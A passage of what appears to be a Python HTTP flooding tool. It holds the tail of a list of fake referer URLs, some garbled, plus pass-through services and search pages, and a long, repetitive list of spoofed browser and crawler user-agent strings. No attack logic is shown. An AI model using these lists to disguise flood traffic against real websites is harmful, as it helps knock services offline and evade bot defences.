'https://www.google.ru/#hl=ru&newwindow=1&safe..,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=925',
'http://yandex.ru/yandsearch?text=',
'https://www.google.ru/#hl=ru&newwindow=1&safe..,iny+gay+q=pcsny+=;zdr+query?=poxy+pony&gs_l=hp.3.r?=.0i19.505.10687.0.10963.33.29.4.0.0.0.242.4512.0j26j3.29.0.clfh..0.0.dLyKYyh2BUc&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp?=?fd2cf4e896a87c19&biw=1389&bih=832',
'http://go.mail.ru/search?mail.ru=1&q=', 'http://nova.rambler.ru/search?=btnG?=%D0?2?%D0?2?%=D0..',
'http://ru.wikipedia.org/wiki/%D0%9C%D1%8D%D1%x80_%D0%..',
'http://ru.search.yahoo.com/search;_yzt=?=A7x9Q.bs67zf..',
'http://ru.search.yahoo.com/search;?_query?=l%t=?=?A7x..',
'http://go.mail.ru/search?gay.ru.query=1&q=?abc.r..',
'/#hl=en-US?&newwindow=1&safe=off&sclient=psy=?-ab&query=%D0%BA%D0%B0%Dq=?0%BA+%D1%83%()_D0%B1%D0%B=8%D1%82%D1%8C+%D1%81bvc?&=query&%D0%BB%D0%BE%D0%BD%D0%B0q+=%D1%80%D1%83%D0%B6%D1%8C%D0%B5+%D0%BA%D0%B0%D0%BA%D0%B0%D1%88%D0%BA%D0%B0+%D0%BC%D0%BE%D0%BA%D0%B0%D1%81%D0%B8%D0%BD%D1%8B+%D1%87%D0%BB%D0%B5%D0%BD&oq=q=%D0%BA%D0%B0%D0%BA+%D1%83%D0%B1%D0%B8%D1%82%D1%8C+%D1%81%D0%BB%D0%BE%D0%BD%D0%B0+%D1%80%D1%83%D0%B6%D1%8C%D0%B5+%D0%BA%D0%B0%D0%BA%D0%B0%D1%88%D0%BA%D0%B0+%D0%BC%D0%BE%D0%BA%D1%DO%D2%D0%B0%D1%81%D0%B8%D0%BD%D1%8B+?%D1%87%D0%BB%D0%B5%D0%BD&gs_l=hp.3...192787.206313.12.206542.48.46.2.0.0.0.190.7355.0j43.45.0.clfh..0.0.ytz2PqzhMAc&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=?882',
'http://nova.rambler.ru/search?btnG=%D0%9D%?D0%B0%D0%B..',
'http://www.google.ru/url?sa=t&rct=?j&q=&e..',
'http://help.baidu.com/searchResult?keywords=', 'http://www.bing.com/search?q=',
'https://www.yandex.com/yandsearch?text=', 'https://duckduckgo.com/?q=',
'http://www.ask.com/web?q=',
'http://search.aol.com/aol/search?q=', 'https://www.om.nl/vaste-onderdelen/zoeken/?zoeken_term=',
'https://drive.google.com/viewerng/viewer?url=', 'http://validator.w3.org/feed/check.cgi?url=',
'http://host-tracker.com/check_page/?furl=',
'http://www.online-translator.com/url/translation.aspx?direction=er&sourceURL=',
'http://jigsaw.w3.org/css-validator/validator?uri=', 'https://add.my.yahoo.com/rss?url=',
'http://www.google.com/?q=', 'http://www.google.com/?q=', 'http://www.google.com/?q=',
'http://www.usatoday.com/search/results?q=', 'http://engadget.search.aol.com/search?q=',
'https://steamcommunity.com/market/search?q=', 'http://filehippo.com/search?q=',
'http://www.topsiteminecraft.com/site/pinterest.com/search?q=',
'http://eu.battle.net/wow/en/search?q=',
'http://engadget.search.aol.com/search?q=', 'http://careers.gatesfoundation.org/search?q=',
'http://techtv.mit.edu/search?q=', 'http://www.ustream.tv/search?q=',
'http://www.ted.com/search?q=',
'http://funnymama.com/search?q=', 'http://itch.io/search?q=', 'http://jobs.rbs.com/jobs/search?q=',
'http://taginfo.openstreetmap.org/search?q=', 'http://www.baoxaydung.com.vn/news/vn/search&q=',
'https://play.google.com/store/search?q=', 'http://www.tceq.texas.gov/@@tceq-search?q=',
'http://www.reddit.com/search?q=', 'http://www.bestbuytheater.com/events/search?q=',
'https://careers.carolinashealthcare.org/search?q=', 'http://jobs.leidos.com/search?q=',
'http://jobs.bloomberg.com/search?q=', 'https://www.pinterest.com/search/?q=',
'http://millercenter.org/search?q=', 'https://www.npmjs.com/search?q=',
'http://www.evidence.nhs.uk/search?q=', 'http://www.shodanhq.com/search?q=',
'http://ytmnd.com/search?q=',
'http://www.google.com/?q=', 'http://www.google.com/?q=', 'http://www.google.com/?q=',
'http://www.usatoday.com/search/results?q=', 'http://engadget.search.aol.com/search?q=',
'https://steamcommunity.com/market/search?q=', 'http://filehippo.com/search?q=',
'http://www.topsiteminecraft.com/site/pinterest.com/search?q=',
'http://eu.battle.net/wow/en/search?q=',
'http://engadget.search.aol.com/search?q=', 'http://careers.gatesfoundation.org/search?q=',
'http://techtv.mit.edu/search?q=', 'http://www.ustream.tv/search?q=',
'http://www.ted.com/search?q=',
'http://funnymama.com/search?q=', 'http://itch.io/search?q=', 'http://jobs.rbs.com/jobs/search?q=',
'http://taginfo.openstreetmap.org/search?q=', 'http://www.baoxaydung.com.vn/news/vn/search&q=',
'https://play.google.com/store/search?q=', 'http://www.tceq.texas.gov/@@tceq-search?q=',
'http://www.reddit.com/search?q=', 'http://www.bestbuytheater.com/events/search?q=',
'https://careers.carolinashealthcare.org/search?q=', 'http://jobs.leidos.com/search?q=',
'http://jobs.bloomberg.com/search?q=', 'https://www.pinterest.com/search/?q=',
'http://millercenter.org/search?q=', 'https://www.npmjs.com/search?q=',
'http://www.evidence.nhs.uk/search?q=', 'http://www.shodanhq.com/search?q=',
'http://ytmnd.com/search?q=',
'http://www.google.com/?q=', 'http://www.google.com/?q=', 'http://www.google.com/?q=',
'http://www.usatoday.com/search/results?q=', 'http://engadget.search.aol.com/search?q=',
'https://steamcommunity.com/market/search?q=', 'http://filehippo.com/search?q=',
'http://www.topsiteminecraft.com/site/pinterest.com/search?q=',
'http://eu.battle.net/wow/en/search?q=',
'http://engadget.search.aol.com/search?q=', 'http://careers.gatesfoundation.org/search?q=',
'http://techtv.mit.edu/search?q=', 'http://www.ustream.tv/search?q=',
'http://www.ted.com/search?q=',
'http://funnymama.com/search?q=', 'http://itch.io/search?q=', 'http://jobs.rbs.com/jobs/search?q=',
'http://taginfo.openstreetmap.org/search?q=', 'http://www.baoxaydung.com.vn/news/vn/search&q=',
'https://play.google.com/store/search?q=', 'http://www.tceq.texas.gov/@@tceq-search?q=',
'http://www.reddit.com/search?q=', 'http://www.bestbuytheater.com/events/search?q=',
'https://careers.carolinashealthcare.org/search?q=', 'http://jobs.leidos.com/search?q=',
'http://jobs.bloomberg.com/search?q=', 'https://www.pinterest.com/search/?q=',
'http://millercenter.org/search?q=', 'https://www.npmjs.com/search?q=',
'http://www.evidence.nhs.uk/search?q=', 'http://www.shodanhq.com/search?q=',
'http://ytmnd.com/search?q=',
'http://www.google.com/?q=', 'http://www.google.com/?q=', 'http://www.google.com/?q=',
'http://www.usatoday.com/search/results?q=', 'http://engadget.search.aol.com/search?q=',
'https://steamcommunity.com/market/search?q=', 'http://filehippo.com/search?q=',
'http://www.topsiteminecraft.com/site/pinterest.com/search?q=',
'http://eu.battle.net/wow/en/search?q=',
'http://engadget.search.aol.com/search?q=', 'http://careers.gatesfoundation.org/search?q=',
'http://techtv.mit.edu/search?q=', 'http://www.ustream.tv/search?q=',
'http://www.ted.com/search?q=',
'http://funnymama.com/search?q=', 'http://itch.io/search?q=', 'http://jobs.rbs.com/jobs/search?q=',
'http://taginfo.openstreetmap.org/search?q=', 'http://www.baoxaydung.com.vn/news/vn/search&q=',
'https://play.google.com/store/search?q=', 'http://www.tceq.texas.gov/@@tceq-search?q=',
'http://www.reddit.com/search?q=', 'http://www.bestbuytheater.com/events/search?q=',
'https://careers.carolinashealthcare.org/search?q=', 'http://jobs.leidos.com/search?q=',
'http://jobs.bloomberg.com/search?q=', 'https://www.pinterest.com/search/?q=',
'http://millercenter.org/search?q=', 'https://www.npmjs.com/search?q=',
'http://www.evidence.nhs.uk/search?q=', 'http://www.shodanhq.com/search?q=',
'http://ytmnd.com/search?q=',
'https://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer/sharer.php?u=',
'http://www.google.com/?q=', 'https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=',
'https://drive.google.com/viewerng/viewer?url=', 'http://www.google.com/translate?u=',
'https://developers.google.com/speed/pagespeed/insights/?url=',
'http://help.baidu.com/searchResult?keywords=', 'http://www.bing.com/search?q=',
'https://add.my.yahoo.com/rss?url=', 'https://play.google.com/store/search?q=',
'http://www.google.com/?q=',
'http://www.usatoday.com/search/results?q=', 'http://engadget.search.aol.com/search?q=']
return referers
def obtain_user_agents(self):
user_agents = ['Mozilla/5.0 (Amiga; U; AmigaOS 1.3; en; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14',
'Mozilla/5.0 (AmigaOS; U; AmigaOS 1.3; en-US; rv:1.8.1.21) Gecko/20090303 SeaMonkey/1.1.15',
'Mozilla/5.0 (AmigaOS; U; AmigaOS 1.3; en; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14',
'Mozilla/5.0 (Android 2.2; Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4',
'Mozilla/5.0 (BeOS; U; BeOS BeBox; fr; rv:1.9) Gecko/2008052906 BonEcho/2.0',
'Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.1) Gecko/20061220 BonEcho/2.0.0.1',
'Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.10) Gecko/20071128 BonEcho/2.0.0.10',
'Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.17) Gecko/20080831 BonEcho/2.0.0.17',
'Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.6) Gecko/20070731 BonEcho/2.0.0.6',
'Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.7) Gecko/20070917 BonEcho/2.0.0.7',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
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'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
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'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
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'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com',
'Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)',
'Mozilla/4.0 (compatible; Arachmo)', 'Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)',
'BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)',
'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
'Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)',
'Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1',
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'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A',
'Mozilla/5.0 (PLAYSTATION 3; 3.55)', 'Mozilla/5.0 (PLAYSTATION 3; 2.00)',
'Mozilla/5.0 (PLAYSTATION 3; 1.00)',
'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0',
'Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)',
'SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ',
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'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
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'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
